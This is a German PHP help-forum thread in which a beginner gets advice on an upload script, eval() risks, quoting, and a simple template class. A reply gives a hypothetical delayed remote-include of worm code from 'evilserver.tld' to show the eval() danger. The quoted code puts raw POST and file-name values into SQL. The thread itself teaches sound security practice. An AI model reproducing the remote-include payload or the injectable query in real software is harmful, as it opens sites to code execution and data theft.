$query = "INSERT INTO ".$pref."fake (
fake,
faker,
befake,
password
)
VALUES (
'".$_FILES['file']['name']."',
'".$_POST['faker']."',
'".$_POST['befake']."',
'".md5($_POST['password'])."'
);";
$sql = mysql_query($query) or die(mysql_error());
if (sql) $content =
"<p class=\"success\">".$lang['fake_upload_success']." <br />
- <a href=\"gallery/".$_FILES['file']['name']."\">".$_FILES['file']['name']."</a></p> \n
<p class=\"success\">".$lang['fake_new_success']."! </p>";
}
elseif (!is_uploaded_file($_FILES['file']['tmp_name']))
{
$content = "<p class=\"error\">".$lang['fake_upload_failed']."! </p>";
}
}
else $content = "<p class=\"error\">".$lang['fake_badfile']."! </p>";
}
else $content = "<p class=\"error\">".$lang['fake_badfile']."! ".$info[2]." -- ".$filesize."</p>";
}
eval("\$content .= \"".gettemplate("style/fake_new")."\";");
$htm_content = $form1;
$htm_content .= $content;
$htm_content .= $form2;
Er gibt auch nichts ueber $info[2] und $filesize aus. -.-
Irgendwie hab ich da nen Brett vorm Kopf.
Jesus_666
20.06.2007, 17:56
Hm ok das hab ich jetz verstanden nur wie komm ich an eval ran und kann so schaden verursachen? Das ist mir immer noch nicht begreiflich. ;(
Wir haben schon gezeigt, daß bestimmter PHP-Code aus deinen Templates heraus ausführbar ist, weil du nicht alles escapt hast, was gefährlich sein kann. Jetzt stell' dir vor, wir finden noch eine Escapelücke oder du verwendest später wieder eval() und paßt da nicht richtig auf. Dann müssen wir dir nur noch ein Template unterschieben, in dem irgendwo etwas in der Art von if (time() > 1185643219) include('http://evilserver.tld/worm_uploader.php') drin steht und ab dem 28.07.2007, 07:07:19 Uhr wird Schadcode von einer anderen Website eingebunden (die Zeitverzögerung macht den Angriff schwerer auf das Template zurückzuführen). Und nein, ein echter Angreifer würde nicht so offensichtlichen, plumpen Code schreiben.
Es geht hier darum, dir allgemein eval() abzugewöhnen. Jeder Programmierer macht Fehler und Fehler im Zusammenhang mit eval() neigen dazu, sicherheitstechnisch katastrophale Auswirkungen zu haben.
deadshox
24.06.2007, 16:39
Es geht hier darum, dir allgemein eval() abzugewöhnen. Jeder Programmierer macht Fehler und Fehler im Zusammenhang mit eval() neigen dazu, sicherheitstechnisch katastrophale Auswirkungen zu haben.
Gut ich sehs ja ein. ;]
Nun hab ich noch mal ne frage zu ' und ". Wann setz ich nu was ein? Finde irgendwie nix zum nachlesen da ich nicht weiß wonach ich suchen soll. ;[
NPC Fighter
24.06.2007, 16:57
Bei einfachen Anführungszeichen wird der Text einfach als solcher ausgegeben, bei doppelten übersetzt der Parser Variablen oder Ausdrücke.
<?php
$zustand = "gut";
echo "Mir gehts $zustand.\nDanke der Nachfrage.";
echo 'Mir gehts $zustand.\nDanke der Nachfrage.';
?>
Ausgabe beim ersten:
Mir gehts gut.
Danke der Nachfrage.
Ausgabe beim zweiten:
Mir gehts $zustand.\nDanke der Nachfrage.
Wenn du also nur Text ausgibst, empfehlen sich einfach Anführungszeichen, weils performanter ist.
Ach und btw. Es wäre mir recht, wenn du das ständige ";D / ;] / ;[ / ;) / ;(" etwa tausendmal pro Post unterlassen könntest; ab und an gehts ja und nix gegen Smilies im Allgemeinen, aber mit der Zeit gehts ehrlich gesagt etwas auf die Nerven.
deadshox
25.06.2007, 21:12
Sooo *trommelwirbel*
Hab nun meine Template Klasse Fertig.
Hab mich sehr bemueht es euch recht zu machen und ich hoffe das ist mir auch gelungen und ihr habt nix daran auszusetzen. Fehler und Verbesserungsvorschlaege sind trotzdem erwuenscht. ;]
Ich weiß es fehlt noch sowas wie "error" Handling, das kann ich ja Spaeter noch mit einbauen.
Download
Fuer die Windows Leute (http://datenfurz.de/daten/tpl.zip)
Fuer die Linux Leute (http://datenfurz.de/daten/tpl.tar.bz2)
Code
template.php
<?php
# Template Klasse! Selbstgemacht. WUHUHU!
class template
{
var $tpl;
var $tpls;
function get_tpl($file)
{
$this->tpl = implode("", @file("$file"));
}
function get_tpls($file)
{
$this->tpls = implode("", @file("$file"));
}
function replace($search, $replace)
{
$this->tpl = str_replace("$search", "$replace", "$this->tpl");
}
function show_tpl()
{
echo $this->tpl;
}
}
?>
index.php
<?php
# Template Test
# Einbinden der Template Klasse
include('template.php');
# Erzeugung des Objektes
$template = new template;
# Laden der HTML seite
$template->get_tpl('tpl_index.html');
# Laden einer Zweiten HTML seite.
$template->get_tpls('tpl_index2.html');
# Variablen. o.O
$title = 'Möp';
$content = 'MöpMöp';
$copyright = 'Pöm';
$subcontent = 'PömMöp';
# Austauschen der Platzhalter mit Variablen
$template->replace('{title}', "$title");
$template->replace('{content}', "$template->tpls"); # Einbinden des Zweiten Templates
$template->replace('{subcontent}', "$subcontent"); # Variable aus dem Zweiten Template, kann wie alle anderen eingebunden werden
$template->replace('{copyright}', "$copyright");
# Ausgabe des Fertigen Templates!
$template->show_tpl();
?>
Viel Spaß damit.
NPC Fighter
26.06.2007, 10:04
Ich halte das
<?php
# Variablen. o.O
$title = 'Möp';
$content = 'MöpMöp';
$copyright = 'Pöm';
$subcontent = 'PömMöp';
# Austauschen der Platzhalter mit Variablen
$template->replace('{title}', "$title");
$template->replace('{content}', "$template->tpls"); # Einbinden des Zweiten Templates
$template->replace('{subcontent}', "$subcontent"); # Variable aus dem Zweiten Template, kann wie alle anderen eingebunden werden
$template->replace('{copyright}', "$copyright");
?>
irgendwie für zu umständlich. Ich würde die Phrases mit Ersetzung in einer externen Datei auslagern und die Phrases außerdem in ein Assoziativarray stecken. Dann kannst du das bequem einbinden und in einer Schleife ersetzen lassen. Vermindert den Arbeitsaufwand beim Hinzufügen von neuen Phrases.
Edit: Japp, ich meinte es so, wie malu es ausgeführt hat. ^^
Vor allem können Variablen auch verwendet werden, wenn sie nicht von Anführungszeichen umgeben sind.
$template->replace('{copyright}', "$copyright"); // X
$template->replace('{copyright}', $copyright); // O
deadshox
26.06.2007, 19:46
@npc
<?php
# Variablen. o.O
$index = array
(
array('{title}', 'Möp'),
array('{copyright}', 'Pöm'),
array('{subcontent}', 'PömMöp')
);
# Austauschen der Platzhalter mit Variablen
$template->replace('{content}', $template->tpls); # Einbinden des Zweiten Templates
foreach ($index as $replace)
{
$template->replace($replace[0], $replace[1]);
}
?>
So?
Ich denke mit Assoziativarray meinte NPC eher sowas wie
$foobar = array(
'{title}' => 'Seitenamebla',
'{content}' => $template->tpls,
'{copyright}' => '1234 bla');
und dann eben
foreach($foobar as $search => $replace) {
$template->replace($search, $replace);
}
oder so ähnlich.
Code ungetestet ._. Bitte nicht hauen
deadshox
26.06.2007, 20:05
@malu So hatte ich mir das anfangs auch vorgestellt wusste nur nicht wie ich es umsetzen sollte, probier es gleich mal aus.
<?php # Variablen. o.O
$index = array
(
'{title}' => 'Möp',
'{content}' => $template->tpls,
'{subcontent}' => 'PömMöp',
'{copyright}' => 'Pöm'
);
# Austauschen der Platzhalter mit Variablen
foreach ($index as $search => $replace)
{
$template->replace($search, $replace);
}
?>
SO, klappt super, dank an euch!
Powered by vBulletin® Version 4.2.3 Copyright ©2025 Adduco Digital e.K. und vBulletin Solutions, Inc. Alle Rechte vorbehalten.